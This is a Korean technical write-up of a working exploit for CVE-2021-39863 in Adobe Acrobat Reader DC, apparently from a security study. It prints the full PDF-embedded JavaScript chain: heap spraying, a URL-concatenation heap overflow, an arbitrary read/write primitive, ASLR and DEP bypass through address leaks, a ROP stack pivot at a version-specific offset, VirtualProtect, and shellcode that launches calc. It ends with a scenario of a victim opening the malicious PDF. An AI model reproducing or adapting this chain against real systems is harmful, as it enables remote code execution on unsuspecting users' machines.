CVE-2021-39863 Exploit
-
CFG를 끈 상태로 취약한 버전의 Adobe로 Exploit Code가 포함된 PDF를 열면 Exploit이 진행된다.
-
위 깃헙 링크에는 exploit에 사용한 JS code와 PDF 파일이 있다.
- 위 링크의 PDF 파일에는 Exploit에 활용할 base URL과 Exploit을 진행할 PDF 내장 Java Script code가 들어있다.
- 우회하는 보안 기법
- ASLR, Address space layout randomization
- Heap, Stack, Code 영역의 base 주소를 프로그램 실행할 때마다 랜덤하게 바꾸는 보호 기법이다.
- ASLR은 UserBlock Header에서 BitmapData를 유출시켜 r/w primitive를 얻으며 우회한다.
- DEP, Data Execution Prevention
- Stack, Heap과 같이 코드를 실행하지 않는 영역에서 명령이 수행되는 것을 막는 보호 기법이다.
- DEP는 Heap으로 Stack Pivoting을 진행하며 수행한다.
- Stack Pivoting은 Stack Pointer인 esp를 변조하며 공격자가 원하는 영역을 Stack으로 속이는 공격 기법이다.
- Stack Pivoting은 Stack Pointer인 esp를 변조하며 공격자가 원하는 영역을 Stack으로 속이는 공격 기법이다.
- ASLR, Address space layout randomization
- 우회하지 않는 보안 기법
- CFG, Control Flow Guard
- 모든 간접 호출 직전에 목적지 주소가 컴파일 타임에 정한 안전한 주소인지 확인하는 과정을 추가해 프로그램 진행 중 예상치 못한 주소로 이동하는 것을 방지하는 보호 기법이다.
- 현재 Adobe 팀은 해당 기법을 우회하는 방법을 연구하고 있다.
- CFG, Control Flow Guard
- 전체 Exploit 과정은 다음과 같다.
- Preparing Heap Layout
- R/W primitive를 얻기 위한 Heap Layout을 구성한다.
- R/W primitive를 base로 삼아 임의 주소의 메모리 공간에 접근해 데이터를 조작할 것이다.
- R/W primitive를 base로 삼아 임의 주소의 메모리 공간에 접근해 데이터를 조작할 것이다.
-
ArrayBuffer의 byte Length가 -1이 되면 해당 ArrayBuffer로 생성한 DataView object를 이용해 memory 전체에 접근이 가능하다.
- 할당된 ArrayBuffer 사이에 연결된 URL이 저장되도록 Heap Layout을 구성한다.
⇒ URL이 연결되는 과정에서 Root Cause로 인해 연결된 URL과 인접한 ArrayBuffer의 byteLength가 -1로 변조된다.
- R/W primitive를 얻기 위한 Heap Layout을 구성한다.
- Get Arbitrary R/W primitive
- Address Leak & Overwrite
- Preparing Stack Pivoting
- Preparing Heap Layout
1. Preparing Heap Layout
var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;
function createArrayBuffer(blocksize) {
var arr = new ArrayBuffer(blocksize - 0x10);
var u8 = new Uint8Array(arr);
for (var i = 0; i < arr.byteLength; i++) {
u8[i] = 0x42;
}
return arr;
}
// 1. byteLength를 덮어쓸 문자열을 저장할 LFH heap 공간 생성
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}
// 2. string 사이에 relativeURL을 저장할 공간 지정
for (var i = 0x11; i < arrB.length; i += 10) {
arrB[i] = null;
arrB[i] = undefined;
}
// 3. 연결된 URL을 저장할 LFH heap 공간 생성
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
arrA[i] = createArrayBuffer(strConUrlSize);
}
// 4. LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간 지정
for (var i = 0x11; i < arrA.length; i += 10) {
arrA[i] = null;
arrA[i] = undefined;
}
// Garbage Collection 진행 (URL이 들어갈 공간을 진짜로 비워주기 위해)
gc();
- Preparing Heap Layout 단계는 다음의 과정을 거쳐 Heap Layout을 준비한다.
- byteLength를 덮어쓸 문자열이 저장될 LFH heap 공간을 생성한다.
- relative URL 크기 (0x600 byte) 만큼의 길이를 가진 문자열을 여러 번 할당해 LFH를 활성화한다.
"%u????"
는 뒤의 2 byte (????
)가 Unicode로 encoding된다.sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
는 Null Terminator 2byte 제외(strRelUrlSize/2)-1
개의 Unicode 문자를 나타낸다.- Null Terminator 2byte 제외
(strRelUrlSize/2)-1
개의 Unicode 문자는strRelUrlSize-2
byte 크기로, Null Terminator 2 byte 합치면 relative URL의 길이가 된다.
- relative URL 크기 (0x600 byte) 만큼의 길이를 가진 문자열을 여러 번 할당해 LFH를 활성화한다.
-
string 사이에 relativeURL을 저장할 공간을 지정한다.
- 연결된 URL을 저장할 LFH heap 공간을 생성한다.
- 연결된 URL 크기 (0x800 byte) 만큼 여러 번 ArrayBuffer를 할당해 LFH를 활성화한다.
- 각 URL 및 heap header 크기는 다음과 같다.
- relative URL : null 문자 포함 0x600 byte
- base URL : null 문자 포함 0x200 byte
- ArrayBuffer header : 0x10 byte
- Heap metadata : 0x08 byte —
- relative URL과 base URL은 다음과 같이 저장된다.
- relative URL은 문자열 자체로 strings에 들어간다.
- base URL은 ArrayBuffer로 선언한 영역에 복사되어 들어간다.
- URL은 다음의 과정을 거쳐 연결된다.
- baseURL이 연결된 URL을 위한 heap 영역에 복사된다.
- baseURL 뒤에 relativeURl이 복사된다.
- Root Cause로 인해 relativeURL에 연결된 string이 relative URL 뒤에 복사된다.
- string은 다음 ArrayBuffer의 byteLength를 0xFFFFFFFF로 덮어쓴다.
- string은 다음 ArrayBuffer의 byteLength를 0xFFFFFFFF로 덮어쓴다.
- LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간을 지정한다.
[그림 1] Preparing Heap Layout 모식도
- byteLength를 덮어쓸 문자열이 저장될 LFH heap 공간을 생성한다.
2. Triggering the Vulnerability
function triggerHeapOverflow() {
try {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
}
- baseURL이 연결된 URL을 저장할 heap 공간 앞쪽에 복사된다.
- 이때, 해당 heap은 ArrayBuffer가 아니라 일반 heap이기 때문에 heap chunk metadata 뒤에 바로 복사 된다. (ArrayBuffer로 할당했을 때 생성된 ArrayBuffer header 위치부터)
- 이때, 해당 heap은 ArrayBuffer가 아니라 일반 heap이기 때문에 heap chunk metadata 뒤에 바로 복사 된다. (ArrayBuffer로 할당했을 때 생성된 ArrayBuffer header 위치부터)
- relative URL이 연결된 URL을 저장할 heap 공간 뒤쪽에 복사되면서, 연결된 ArrayBuffer의 byteLength 필드를 변조한다.
- [그림 2]과 [그림 3]에서 Base는 baseURL, relative는 relativeURL을 의미한다.
[그림 2] baseURL이 연결된 URL을 저장할 heap에 저장된 직후 heap과 해당 heap 이후의 heap(ArrayBuffer)의 모습
[그림 3] URL 연결이 끝난 후 두 URL을 연결한 heap과 해당 heap 이후의 heap (ArrayBuffer)의 모습
3. Get Arbitrary R/W primitive
// 1. oob index에 접근해서 읽고 쓸 수 있는 상대적 r/w primitive를 구현
for (var i = 0; i < arrA.length; i++) {
if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
var temp = new DataView(arrA[i]);
temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
}
if (arrA[i] != null && arrA[i].byteLength == -1) {
var rw = new DataView(arrA[i]);
break;
}
}
// 2. oob base VA(= StartAddr) 획득 => 임의의 VA값 제어
if (rw) {
curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18
for (var i = 0; i < 0x30; i += 4) {
BitMapBufOffset += 4;
signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
if (signature == 0xF0E0D0C0) {
BitMapBufOffset -= 0xC;
BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
break;
}
}
if (BitMapBuf) {
StartAddr = BitMapBuf + BitMapBufOffset - 4;
}
}
[그림 4] r/w primitive를 구하는 과정 모식도
- 임의 주소의 메모리 값을 제어하기 위해 다음의 과정을 거쳐 R/W primitive를 획득한다.
-
취약점 트리거 이후, 연결된 URL 직후 ArrayBuffer의 byteLength는 0xFFFF로 덮였다.
- ArrayBuffer의 byteLength를 -1로 덮는다.
- 연결된 URL 직후 ArrayBuffer를 인식하고, 이와 연결된 ArrayBuffer의 byteLength를 0xFFFFFFFF (-1)로 변조
-
byteLength가 -1로 변조된 ArrayBuffer에서 DataView object 설정해 R/W primitive를 생성한다.
-
2.에서 구한 ArrayBuffer에서 data 시작 지점(R/W primitive)의 VA 구한다.
[그림 5] UserBlock 구조체를 이용해 r/w primitive의 VA를 구하는 과정 모식도
-
byteLength가 -1로 변조된 ArrayBuffer가 저장된 Heap chunk의 Heap chunk header에서 chunk number 획득한다.
- 동일 크기의 제일 첫 Heap chunk의 Heap chunk header 시작 지점과 R/W primitive 사이의 offset을 구한다.
- 이때, 아래의 값이 필요하다.
- chunk number, chunk size
- Heap chunk의 Heap chunk header 크기 (0x08 byte)
- ArrayBuffer의 header 크기 (0x10 byte)
-
위 값을 이용해 다음과 같이 offset을 계산할 수 있다.
offset = chunk number * chunk size + 0x08 + 0x10
- 이때, 아래의 값이 필요하다.
- R/W primitive와 LFH Userblock이 정한 signature (0xF0E0D0C0) 사이의 offset을 구한다.
- r/w primitive에서 b.에서 구한 offset 만큼 떨어진 위치에 저장된 값이 0xF0E0D0C0이 될 때까지 4byte 씩 더하며 Signature를 찾는다.
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m
- r/w primitive에서 b.에서 구한 offset 만큼 떨어진 위치에 저장된 값이 0xF0E0D0C0이 될 때까지 4byte 씩 더하며 Signature를 찾는다.
- UserBlock 구조체의 BitmapData VA를 얻는다.
- UserBlock 구조체의 구조에 따라 Pointer에 저장된 값(BitmapData 주소)을 획득
- BusyBitmap.Buffer (Pointer)는 Signature에서 0x0C byte 더 높은 주소에 존재한다.
-
이를 통해 r/w primitive로부터 BusyBitmap.Buffer 사이 offset은 다음과 같이 계산할 수 있다.
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
[그림 6] UserBlock Header의 구조
&BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)
- UserBlock 구조체의 구조에 따라 Pointer에 저장된 값(BitmapData 주소)을 획득
- R/W primitive의 VA를 계산
- 이를 위해 아래의 값이 필요하다.
-
d.에서 구한 offset
offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
- d.에서 구한 VA
- Pointer와 BitmapData 사이 크기 (: Pointer의 크기, 0x04 byte)
-
- 위 값을 이용해 R/W primitive의 VA, startAddr은 다음과 같이 구할 수 있다.
startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04
- 이를 위해 아래의 값이 필요하다.
-
R/W primtive의 VA로 모든 메모리 영역에 주소로 접근이 가능하다.
function readUint32(dataView, readAddr) { var offsetAddr = readAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1; } return dataView.getUint32(offsetAddr, true); } function writeUint32(dataView, writeAddr, value) { var offsetAddr = writeAddr - StartAddr; if (offsetAddr < 0) { offsetAddr = offsetAddr + 0xFFFFFFFF + 1 } return dataView.setUint32(offsetAddr, value, true); }
- 위 두 함수는 각각 임의의 VA(readAddr, writeAddr)가 가리키는 값을 제어하는 데 도움을 주는 Helper Function이다.
Helper Function의 동작 과정은 다음과 같다.
- 특정 메모리의 VA를 전달 받으면 r/w primitive VA와의 offset을 계산한다.
-
r/w primitive의 DataView object로 1.에서 구한 offset 위치의 값을 제어한다.
이를 통해 특정 메모리의 VA를 이용해 메모리 값을 제어할 수 있다.
-
-
4. Preparing Stack Pivoting
var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
-
임의의 주소로 esp를 옮겨 해당 영역을 프로그램에게 Fake Stack이라 속이는 Stack Pivoting을 수행한다.
-
옮겨진 esp가 있는 Fake Stack은 쓰기 권한이 존재해야 Stack이 자라며 쓰기 권한이 없어서 발생하는 에러를 막을 수 있다.
이를 위해 Heap을 충분히 많이 할당해 옮겨진 esp가 있는 Fake Stack에 높은 확률로 쓰기 및 읽기 권한이 있도록 한다. -
항상 Fake Stack이 spray된 Heap 영역 (할당된 heap 영역)에 들어가는 것은 아니므로 항상 exploit이 성공하지는 않는다.
5. Address Leak & Overwrite ⇒ Hijacking Execution Flow
// 1. START Information Leak
// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak
// 2. Overwrite address of getProperty in vtable to address of ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);
// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}
// 4. Setup new Stack
var newStackAddr = 0x5D000001;
writeUint32(rw, newStackAddr, VirtualProtectAddr); // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18); // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18); // Arg1 : 메모리 시작 주소
writeUint32(rw, newStackAddr + 0xC, shellcodesize); // Arg2 : 메모리 크기
writeUint32(rw, newStackAddr + 0x10, 0x40); // Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); // Arg4 : 이전 보호 상수 저장할 포인터
// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
- 중요 변수 혹은 값은 다음의 위치에 저장된다.
-
ROP Gadget은 EScript.api 파일의 특정 부분으로 EScript.api의 base로부터 offset이 고정되어 있다. 21.005.20048.43252 버전의 Adobe Acrobat Reader DC에서 ROP Gadget의 offset은
0x1050AE
이다.0x1050AE: mov esp, 0x5d000001; ret;
-
새로운 stack은 1. ROP Gadget으로 esp가 옮겨진 곳 :
0x5d000001
으로 해당 영역이 spray된 Heap 영역 내부에 위치해야 exploit이 진행된다. -
우리의 Exploit Code에서 shellcode는
r/w primitive의 위치 + 0x18
에 위치시켰다.
-
- 주소를 유출하고, 특정 메모리 값을 변조해 Exploit을 진행하는 과정은 다음과 같다.
- Exploit을 위한 Information Leak을 진행한다.
- EScript의 base 주소를 획득한다.
- JS Object - SpiderMonkey와 같이 JSObject (DataView, …)의 메모리 구조를 이용해 EScript 내부 어딘가의 주소를 획득한다.
- 1.에서 구한 주소에서 IDA로 확인한 offset (0x277548)을 빼 EScript의 base 주소를 얻는다.
-
IDA로 EScript와 EScript가 사용하는 kernel32.dll의 VirtualProtect 함수의 offset (= 0x1B0060)을 찾는다.
[그림 7] idata segment에 저장된 VirtualProtect 함수 호출
- VirtualProtect 함수는 Shellcode가 저장된 영역에 실행 권한을 부여하여 Shellcode가 정상적으로 실행될 수 있도록 한다.
+) .idata 영역은 import table을 의미한다.
- kernel32.dll의 VirtualProtect 함수의 주소를 계산
- a.에서 구한 EScript의 base 주소와 offset을 이용해 EScript.api가 호출하는 VirtualProtect 함수의 주소를 얻는다.
- i.에서 구한 주소에 접근해 kernel32.dll의 VirtualProtect 함수의 VA를 구한다.
- vtable 주소 유출
- JS Object - SpiderMonkey와 같이 JSObject (DataView, …)의 메모리 구조를 이용해 EScript에서 사용하는 property map의 주소를 획득한다.
- JS Object - SpiderMonkey와 같이 JSObject (DataView, …)의 메모리 구조를 이용해 EScript에서 사용하는 property map의 주소를 획득한다.
- EScript의 base 주소를 획득한다.
- property map을 변조 ROP Gadget으로 변조한다.
-
rw DataView object의 property map에서 getProperty 함수의 주소를 ROP Gadget의 주소로 변조한다.
⇒ 이후 rw DataView object에서 getProperty 함수를 호출하면 getProperty 함수가 아닌 ROP Gadget를 호출한다.
-
- 쓰기 권한이 있는 곳에 shell code를 작성한다.
- shell code를 쓰기 권한이 있는 곳에 작성한다. 우리는
r/w primitive의 위치 + 0x18
에 작성했다.
- shell code를 쓰기 권한이 있는 곳에 작성한다. 우리는
- 새로운 stack을 구성한다.
- 사용할 ROP Gadget이 esp를 0x5D000001로 옮기므로 해당 주소를 기준으로 새로운 stack이 설정된다.
-
새로운 Stack은 다음의 동작을 지원한다.
[그림 8] 새로운 Stack의 모습 (ROP Gadget 실행 직전)
-
VirtualProtect 함수를 호출하며 Shellcode 영역에 실행 권한을 부여한다.
[그림 9] ret 명령이 실행되기 직전 (좌)과 VirtualProtect 함수가 실행되기 직전 (우)의 모습
-
Shellcode를 실행한다.
[그림 10] VirtualProtect 함수 Prologue 직후 (좌)와 Shellcode 실행 직전 (우)의 모습
- jmp eip로 VirtualProtect 함수를 호출하기 때문에 RIP를 추가로 저장하지 않는다.
- 기존에 stack(을 가장한 heap)에 존재하던
StartAddr+0x18
을 RIP로 생각한다.
-
- exploit trigger
- DataView의 존재하지 않는 Property (execFlowHijack)를 참조 시도해 getProperty 함수를 호출하며 exploit이 시작된다.
- Exploit을 위한 Information Leak을 진행한다.
Scenario
- 아래는 피해자가 위의 Exploit Code가 담긴 PDF 파일을 의심 없이 다운 받고
- CFG가 꺼진 상태에서 취약한 버전의 Adobe Acrobat Reader DC로 다운 받은 파일을 열며
- Exploit이 진행되어 계산기가 실행된 영상이다.